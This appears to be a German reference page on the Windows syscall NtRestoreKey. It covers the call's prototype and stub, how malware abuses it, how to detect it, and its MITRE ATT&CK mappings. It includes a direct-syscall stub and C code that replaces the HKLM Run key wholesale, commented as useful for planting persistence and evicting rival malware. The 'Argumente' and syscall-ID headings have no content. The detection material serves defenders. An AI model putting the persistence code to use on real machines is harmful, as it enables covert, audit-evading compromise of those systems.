NtRestoreKey

Prototyp

NTSTATUS NtRestoreKey(
  HANDLE  KeyHandle,
  HANDLE  FileHandle,
  ULONG   Flags
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 89 01 00 00      mov eax, 0x189
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtRestoreKey ist die Umkehrung von NtSaveKey: Es ersetzt den Inhalt eines geöffneten Schlüssels durch das, was eine Hive-Datei enthält. Mit `REG_FORCE_RESTORE` tut der Kernel das selbst dann, wenn noch Handles auf den Ziel-Teilbaum offen sind. Der Caller benötigt **SeRestorePrivilege**. Der Win32-Wrapper ist `RegRestoreKeyW`. Die Operation ist auf Hive-Block-Ebene atomar; ein Teilausfall lässt das Ziel im Pre-Restore-Zustand.

Häufige Malware-Nutzung

Zwei Muster dominieren. Erstens, **Persistenz-Manipulation**: Ein Angreifer mit einer vorbereiteten Run-Key-Vorlage kann `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` (oder einen Service-Config-Teilbaum) en bloc überschreiben und jeden Eintrag in einem einzigen Syscall ersetzen — nützlich, um Persistenz zu pflanzen *und* gleichzeitig konkurrierende Einträge rivalisierender Malware zu löschen. Zweitens, **Rollback nach Manipulation**: Red-Team-Tooling macht einen NtSaveKey-Snapshot, ändert einen Schlüssel, erledigt die Arbeit und rollt dann per NtRestoreKey zurück, um Host-basiertes Change-Auditing auszuhebeln. Seltener: Ransomware tauscht damit Service-DLL-Pfade vor dem Reboot in großem Stil aus.

Erkennungs­möglichkeiten

ETW `Microsoft-Windows-Kernel-Registry` liefert ein eigenes Load/Restore-Event, getrennt von Value-Set-Events. Sysmon Event 13 feuert pro modifiziertem Wert — ein einzelner NtRestoreKey kann einen *Burst* von Event-13-Datensätzen mit identischen Timestamps unter demselben Schlüssel erzeugen, was selbst schon ein ungewöhnliches Muster mit Regel-Potenzial ist. Aktivierung von SeRestorePrivilege (Sysmon 4673) unmittelbar vor einem Registry-Write ist ein starker Frühindikator. Hunting-Tipp: auf REG_FORCE_RESTORE-Flag-Nutzung alarmieren — in gutartiger Software praktisch nie zu sehen.

Direkte Syscall-Beispiele

; Direct syscall stub for NtRestoreKey (SSN 0x189 on Win11 24H2 — drifts per build)
NtRestoreKey PROC
    mov  r10, rcx          ; KeyHandle
    mov  eax, 189h         ; SSN
    syscall
    ret
NtRestoreKey ENDP

// Overwrite HKLM\...\Run wholesale from a prepared hive file — useful for both
// persistence install and rival-eviction. Requires SeRestorePrivilege.
#include <windows.h>

LONG RestoreRunKey(LPCWSTR hivePath) {
    HKEY hRun = NULL;
    LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_ALL_ACCESS, &hRun);
    if (s != ERROR_SUCCESS) return s;
    // REG_FORCE_RESTORE (8) replaces even with open handles elsewhere.
    s = RegRestoreKeyW(hRun, hivePath, 8 /* REG_FORCE_RESTORE */);
    RegCloseKey(hRun);
    return s;
}

// Snap a key handle and a hive file handle, then restore atomically.
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtRestoreKey)(HANDLE, HANDLE, ULONG);

NTSTATUS DoRestore(HANDLE hKey, HANDLE hFile, ULONG flags) {
    pNtRestoreKey fn = (pNtRestoreKey)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtRestoreKey");
    return fn(hKey, hFile, flags);
}

MITRE ATT&CK-Mappings

• T1112Modify Registrymitre ↗
• T1547.001Registry Run Keys / Startup Foldermitre ↗
• T1106Native APImitre ↗